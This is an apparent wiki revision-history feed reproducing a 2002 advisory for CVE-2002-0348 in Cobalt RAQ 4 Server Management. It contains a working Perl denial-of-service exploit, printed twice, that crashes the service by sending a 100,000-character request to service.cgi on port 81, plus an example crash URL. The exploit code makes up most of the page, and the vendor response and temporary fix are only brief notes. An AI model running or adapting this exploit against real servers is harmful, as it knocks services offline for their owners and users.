<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2002-0348_Cobalt_RAQ_4_Server_%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2002-0348 Cobalt RAQ 4 Server 漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2002-0348_Cobalt_RAQ_4_Server_%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2002-0348_Cobalt_RAQ_4_Server_%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T04:50:19Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2002-0348_Cobalt_RAQ_4_Server_%E6%BC%8F%E6%B4%9E&amp;diff=802&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; ------oOo---------------- Cobalt RAQ 4 Server Management, Cross Site Scripting , Directory Traversal &amp; DoS Vulnerabilities. ------oOo----------------   Company...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2002-0348_Cobalt_RAQ_4_Server_%E6%BC%8F%E6%B4%9E&amp;diff=802&amp;oldid=prev"/>
		<updated>2021-03-31T07:17:50Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; ------oOo---------------- Cobalt RAQ 4 Server Management, Cross Site Scripting , Directory Traversal &amp;amp; DoS Vulnerabilities. ------oOo----------------   Company...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
------oOo----------------&lt;br /&gt;
Cobalt RAQ 4 Server Management,&lt;br /&gt;
Cross Site Scripting , Directory Traversal &amp;amp; DoS Vulnerabilities.&lt;br /&gt;
------oOo----------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Company Affected: www.cobalt.com &amp;amp; www.sun.com&lt;br /&gt;
Version: RAQ 4 Server Management.&lt;br /&gt;
Dowload: http://www.cobalt.com/products/raq/index.html&lt;br /&gt;
OS Affected: Linux ALL, Solaris ALL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Author:&lt;br /&gt;
&lt;br /&gt;
** Alex Hernandez &amp;lt;al3xhernandez@ureach.com&amp;gt;&lt;br /&gt;
** Thanks all the people from Spain and Argentina.&lt;br /&gt;
** Special Greets: White-B, Pablo S0r, Paco Spain, G.Maggiotti.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----=[Brief Description]=------------&lt;br /&gt;
&lt;br /&gt;
Denial Of service. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Proof Of concept:&lt;br /&gt;
&lt;br /&gt;
Server crashes after sending a very long URL:&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=/AAAAAAAAA...(Ax100000)...AAA&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Crash system and the admin need restart the service!.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------oOo-------------&lt;br /&gt;
Exploit Code DoS Cobalt4_DoS.pl&lt;br /&gt;
------oOo-------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
#&lt;br /&gt;
# Simple script to send a long 'A^s' command to the server, &lt;br /&gt;
# resulting in the server crashing.&lt;br /&gt;
#&lt;br /&gt;
# Cobalt RAQ DoS v4 proof-of-concept exploit.&lt;br /&gt;
# By Alex Hernandez &amp;lt;al3xhernandez@ureach.com&amp;gt; (C)2002.&lt;br /&gt;
#&lt;br /&gt;
# Thanks all the people from Spain and Argentina.&lt;br /&gt;
# Special Greets: White-B, Pablo S0r, Paco Spain, G.Maggiotti.&lt;br /&gt;
# &lt;br /&gt;
#&lt;br /&gt;
# Usage: perl -x Cobalt4_DoS.pl -s &amp;lt;server&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
# Example: &lt;br /&gt;
#&lt;br /&gt;
# perl -x Cobalt4_DoS.pl -s 10.0.0.1&lt;br /&gt;
# &lt;br /&gt;
# Crash was successful !&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
use Getopt::Std;&lt;br /&gt;
use IO::Socket;&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;\nCobalt RAQ DoS v4.0 DoS exploit (c)2002.\n&amp;quot;);&lt;br /&gt;
print(&amp;quot;Alex Hernandez al3xhernandez\@ureach.com\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
getopts('s:', \%args);&lt;br /&gt;
if(!defined($args{s})){&amp;amp;usage;}&lt;br /&gt;
&lt;br /&gt;
($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);&lt;br /&gt;
&lt;br /&gt;
$def = &amp;quot;A&amp;quot;;&lt;br /&gt;
$num = &amp;quot;100000&amp;quot;;&lt;br /&gt;
$data .= $def x $num;&lt;br /&gt;
$serv = $args{s};&lt;br /&gt;
$port = 81;#maybe u define the port for diference of versions&lt;br /&gt;
$buf = &amp;quot;GET /cgi-bin/.cobalt/alert/service.cgi?service=$data&lt;br /&gt;
/HTTP/1.0\r\n\r\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$in_addr = (gethostbyname($serv))[4] || die(&amp;quot;Error: $!\n&amp;quot;);&lt;br /&gt;
$paddr = sockaddr_in($port, $in_addr) || die (&amp;quot;Error: $!\n&amp;quot;);&lt;br /&gt;
$proto = getprotobyname('tcp') || die(&amp;quot;Error: $!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
socket(S, PF_INET, SOCK_STREAM, $proto) || die(&amp;quot;Error: $!&amp;quot;);&lt;br /&gt;
connect(S, $paddr) ||die (&amp;quot;Error: $!&amp;quot;);&lt;br /&gt;
select(S); $| = 1; select(STDOUT);&lt;br /&gt;
print S &amp;quot;$buf&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;\nCrash was successful !\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
sub usage {die(&amp;quot;\n\nUsage: perl -x $0 -s &amp;lt;server&amp;gt;\n\n&amp;quot;);}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------oOo------------------------------------&lt;br /&gt;
Vendor Response:&lt;br /&gt;
The vendor was notified&lt;br /&gt;
&lt;br /&gt;
Posted List^s Security cobalt:&lt;br /&gt;
cobalt-security@list.cobalt.com &amp;amp;&lt;br /&gt;
jlovell@sun.com&lt;br /&gt;
&lt;br /&gt;
http://www.cobalt.com&lt;br /&gt;
Patch Temporary: &lt;br /&gt;
Delete files cgi^s from the system, or disable its &lt;br /&gt;
possible execution.&lt;br /&gt;
&lt;br /&gt;
Alex Hernandez &amp;lt;al3xhernandez@ureach.com&amp;gt; (c) 2002.&lt;br /&gt;
&lt;br /&gt;
------oOo------------------------------------&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Cobalt4_DoS.pl==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
#&lt;br /&gt;
# Simple script to send a long 'A^s' command to the server, &lt;br /&gt;
# resulting in the server crashing.&lt;br /&gt;
#&lt;br /&gt;
# Cobalt RAQ DoS v4 proof-of-concept exploit.&lt;br /&gt;
# By Alex Hernandez &amp;lt;al3xhernandez@ureach.com&amp;gt; (C)2002.&lt;br /&gt;
#&lt;br /&gt;
# Thanks all the people from Spain and Argentina.&lt;br /&gt;
# Special Greets: White-B, Pablo S0r, Paco Spain, G.Maggiotti.&lt;br /&gt;
# &lt;br /&gt;
#&lt;br /&gt;
# Usage: perl -x Cobalt4_DoS.pl -s &amp;lt;server&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
# Example: &lt;br /&gt;
#&lt;br /&gt;
# perl -x Cobalt4_DoS.pl -s 10.0.0.1&lt;br /&gt;
# &lt;br /&gt;
# Crash was successful !&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
use Getopt::Std;&lt;br /&gt;
use IO::Socket;&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;\nCobalt RAQ DoS v4.0 DoS exploit (c)2002.\n&amp;quot;);&lt;br /&gt;
print(&amp;quot;Alex Hernandez al3xhernandez\@ureach.com\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
getopts('s:', \%args);&lt;br /&gt;
if(!defined($args{s})){&amp;amp;usage;}&lt;br /&gt;
&lt;br /&gt;
($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);&lt;br /&gt;
&lt;br /&gt;
$def = &amp;quot;A&amp;quot;;&lt;br /&gt;
$num = &amp;quot;100000&amp;quot;;&lt;br /&gt;
$data .= $def x $num;&lt;br /&gt;
$serv = $args{s};&lt;br /&gt;
$port = 81;#maybe u define the port for diference of versions&lt;br /&gt;
$buf = &amp;quot;GET /cgi-bin/.cobalt/alert/service.cgi?service=$data&lt;br /&gt;
/HTTP/1.0\r\n\r\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$in_addr = (gethostbyname($serv))[4] || die(&amp;quot;Error: $!\n&amp;quot;);&lt;br /&gt;
$paddr = sockaddr_in($port, $in_addr) || die (&amp;quot;Error: $!\n&amp;quot;);&lt;br /&gt;
$proto = getprotobyname('tcp') || die(&amp;quot;Error: $!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
socket(S, PF_INET, SOCK_STREAM, $proto) || die(&amp;quot;Error: $!&amp;quot;);&lt;br /&gt;
connect(S, $paddr) ||die (&amp;quot;Error: $!&amp;quot;);&lt;br /&gt;
select(S); $| = 1; select(STDOUT);&lt;br /&gt;
print S &amp;quot;$buf&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;\nCrash was successful !\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
sub usage {die(&amp;quot;\n\nUsage: perl -x $0 -s &amp;lt;server&amp;gt;\n\n&amp;quot;);}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>